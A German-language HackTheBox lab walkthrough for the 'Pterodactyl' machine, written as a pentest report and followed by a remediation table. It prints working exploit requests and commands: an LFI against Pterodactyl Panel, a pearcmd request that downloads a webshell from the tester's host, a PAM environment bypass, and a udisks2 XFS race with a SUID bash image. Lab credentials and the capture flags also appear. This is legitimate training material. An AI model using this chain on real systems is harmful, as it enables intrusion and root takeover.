
HackTheBox — Pterodactyl (Medium/Linux) walkthrough. CVE-2025-49132 LFI → pearcmd RCE → bcrypt crack → SSH. Privesc via CVE-2025-6018 (PAM pam_environment bypass) + CVE-2025-6019 (udisks2 XFS resize race condition, nosuid bypass) → root. Full notes and steps included.
Datum: 8. April 2026
Ziel: Pterodactyl (HackTheBox)
Schwierigkeit: Mittel
Betriebssystem: Linux (openSUSE Leap 15.6)
Tester: V0idW1re
Die Pterodactyl-Maschine auf HackTheBox präsentierte ein realistisches Angriffsszenario mit einer falsch konfigurierten Webanwendung und verketteten Privilegieneskalations-Schwachstellen. Ausgehend von einer nicht authentifizierten Position erreichte der Tester durch eine logische Abfolge von Ausbeutungsschritten eine vollständige Root-Kompromittierung. Die Angriffskette umfasste eine nicht authentifizierte Local File Inclusion-Schwachstelle, kreative Nutzung eines PHP-Paketmanagers zur Remotecodeausführung, Extraktion und Knacken von Zugangsdaten sowie schließlich die Verkettung zweier öffentlich bekannter CVEs, um von einem niedrig privilegierten Benutzer zu Root zu eskalieren.
| Feld | Wert |
|---|---|
| Ziel-IP | 10.129.25.223 |
| Hostname | pterodactyl.htb |
| Betriebssystem | openSUSE Leap 15.6 |
| Dienste | SSH (22), HTTP (80) |
| Subdomains | panel.pterodactyl.htb |
Die Bewertung folgte einer standardmäßigen Penetrationstest-Methodik:
Schweregrad: Kritisch
Komponente: Pterodactyl Panel v1.11.10 — /locales/locale.json-Endpunkt
Beschreibung:
Der Locale-Endpunkt des Pterodactyl-Panels hat die Query-Parameter locale und namespace nicht bereinigt, sodass ein Directory-Traversal möglich war. Da die Anwendung .php an den Namespace-Wert anhängt und ihn über PHPs Include-Mechanismus lädt, konnte ein Angreifer den Server zwingen, beliebige PHP-Dateien im Dateisystem zu laden und auszuführen.
Exploit:
GET /locales/locale.json?locale=../../../../../../var/www/pterodactyl/&namespace=config/database
Auswirkung:
Datenbank-Anmeldeinformationen wurden aus config/database.php extrahiert:
pterodactylPteraPanelpanelDer Laravel-Anwendungsschlüssel wurde ebenfalls aus config/app.php extrahiert.
Nachweis:
{"connections":{"mysql":{"username":"pterodactyl","password":"PteraPanel"}}}
Schweregrad: Kritisch
Komponente: PHP PEAR-Installation + LFI
Beschreibung:
Mit dem etablierten LFI-Primitiv nutzte der Tester das pearcmd.php-Skript des PEAR-Paketmanagers aus. Wenn die PHP-Konfiguration register_argc_argv=On hat (bestätigt über phpinfo), wird die Query-Zeichenfolge als Befehlszeilenargumente von pearcmd interpretiert. Der download-Befehl wurde verwendet, um eine PHP-Webshell vom Server des Angreifers abzurufen und im öffentlichen Webverzeichnis des Panels zu speichern.
Exploit:
GET /locales/locale.json?locale=../../../../../../usr/share/php/PEAR/&namespace=pearcmd&+download+http://10.10.15.128:8000/shell.php
Auswirkung:
Eine PHP-Webshell wurde nach /var/www/pterodactyl/public/shell.php geschrieben und ermöglichte eine nicht authentifizierte Remotecodeausführung als Benutzer wwwrun.
Nachweis:
http://panel.pterodactyl.htb/shell.php?cmd=id
uid=474(wwwrun) gid=477(www) groups=477(www)
Schweregrad: Hoch
Komponente: MySQL-Panel-Datenbank
Beschreibung:
Mithilfe der RCE-Shell stellte der Tester eine Verbindung zur MySQL-Datenbank her, wobei die über LFI erhaltenen Anmeldeinformationen verwendet wurden. Die Tabelle users enthielt bcrypt-gehashte Passwörter aller Panel-Benutzer. Der Hash für den Benutzer phileasfogg3 wurde offline mit einer gängigen Wortliste geknackt.
Exploit:
SELECT username, password FROM users;
Geknackte Anmeldeinformationen:
phileasfogg3!QAZ2wsxAuswirkung:
SSH-Zugriff als phileasfogg3 wurde erlangt, und die Benutzerflagge wurde erfasst:
user.txt: 916235b4261e70fdb090402c641a7808
Schweregrad: Hoch
Komponente: PAM-Konfiguration — pam_env.so mit user_readenv=1
Beschreibung:
Die PAM-Konfiguration auf openSUSE Leap 15.6 bezieht die Datei ~/.pam_environment des Benutzers über pam_env.so mit user_readenv=1 ein. Durch das Setzen bestimmter Umgebungsvariablen in dieser Datei kann ein unprivilegierter SSH-Benutzer systemd-logind und Polkit dazu bringen, die Sitzung als aktive physische Konsolensitzung zu betrachten und dadurch allow_active-Berechtigungen zu erlangen.
Exploit:
echo -e "XDG_SEAT=seat0\nXDG_VTNR=1" > ~/.pam_environment
Nach dem erneuten Verbinden über SSH wurde die Sitzung als Active=yes erkannt, was unprivilegierte Aufrufe von udisks2 D-Bus-Methoden ermöglichte, die normalerweise die physische Konsolenpräsenz erfordern.
Nachweis:
udisksctl loop-setup -f /tmp/xfs.img
Mapped file /tmp/xfs.img as /dev/loop0.
# Keine Authentifizierungsaufforderung
Schweregrad: Kritisch
Komponente: udisks2 v2.9.2 / libblockdev — org.freedesktop.UDisks2.Filesystem.Resize
Beschreibung:
Wenn udisks2 ein XFS-Dateisystem über libblockdev in der Größe ändert, wird das Dateisystem-Image vorübergehend in einem weltweit zugänglichen Verzeichnis unter /tmp/blockdev.* ohne die Mount-Flags nosuid und nodev bereitgestellt. Dies erzeugt ein kurzes Race-Condition-Fenster, in dem jede im Image vorhandene SUID-Binärdatei mit erhöhter effektiver UID ausgeführt werden kann.
Ein Angreifer mit allow_active-Polkit-Berechtigungen (erlangt über CVE-2025-6018) kann:
udisksctl loop-setup ein Loop-Device einrichtenKritischer Hinweis zur XFS-Image-Kompatibilität:
Das XFS-Image muss mit bestimmten Flags für openSUSE Leap 15.6 (SP5/SP6) erstellt werden:
mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img
Exploit:
# Bösartiges XFS-Image erstellen (auf Angreifer-Maschine)
dd if=/dev/zero of=xfs.img bs=1M count=300
mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img
mount xfs.img /mnt
cp /bin/bash /mnt/bash
chown root:root /mnt/bash
chmod 4755 /mnt/bash
umount /mnt
# Auf Ziel — um das Größenänderungsfenster konkurrieren
udisksctl loop-setup -f /tmp/xfs.img
(while true; do
/tmp/blockdev.*/bash -p -c 'cp /usr/bin/bash /tmp/rb; chmod 4755 /tmp/rb' 2>/dev/null
done) &
busctl call org.freedesktop.UDisks2 \
/org/freedesktop/UDisks2/block_devices/loop0 \
org.freedesktop.UDisks2.Filesystem Resize "ta{sv}" 0 0
Nachweis:
/tmp/blockdev.1LYHN3/bash -p -c 'id'
uid=1002(phileasfogg3) gid=100(users) euid=0(root) groups=100(users)
Root-Flagge:
root.txt: d3a242011c18cb81f08ad80337330641
| Flagge | Wert |
|---|---|
| user.txt | 916235b4261e70fdb090402c641a7808 |
| root.txt | d3a242011c18cb81f08ad80337330641 |
[Unauthentifiziert]
↓ CVE-2025-49132 (LFI)
[Datenbank-Anmeldeinformationen]
↓ pearcmd RCE
[wwwrun-Shell]
↓ MySQL-Datenbank-Dump + Hash-Knacken
[phileasfogg3 SSH]
↓ CVE-2025-6018 (PAM-Umgehung → allow_active)
↓ CVE-2025-6019 (udisks2 XFS-Größenänderungs-Race)
[Root]
Vollständige Kompromittierung des Zielsystems. Ein Angreifer mit dieser Zugriffsebene könnte:
Dieser Bericht wurde zu Bildungszwecken im Rahmen einer HackTheBox-Laborübung erstellt. Alle Tests wurden in einer legalen, isolierten Laborumgebung durchgeführt.
| Fund | Behebung |
|---|
| CVE-2025-49132 (LFI) | Aktualisieren Sie Pterodactyl Panel auf v1.11.11 oder höher, das eine strenge alphanumerische Validierung der locale/namespace-Parameter erzwingt |
| pearcmd RCE | Setzen Sie register_argc_argv=Off in der php.ini; entfernen Sie PEAR, falls nicht benötigt |
| Schwaches Passwort | Erzwingen Sie strenge Passwortrichtlinien; verwenden Sie einen Passwortmanager |
| CVE-2025-6018 (PAM) | Setzen Sie user_readenv=0 in der PAM-Konfiguration für pam_env.so |
| CVE-2025-6019 (udisks2) | Aktualisieren Sie udisks2 und libblockdev auf gepatchte Versionen; ändern Sie die Polkit-Regel für org.freedesktop.udisks2.modify-device, um allow_active von yes auf auth_admin zu setzen |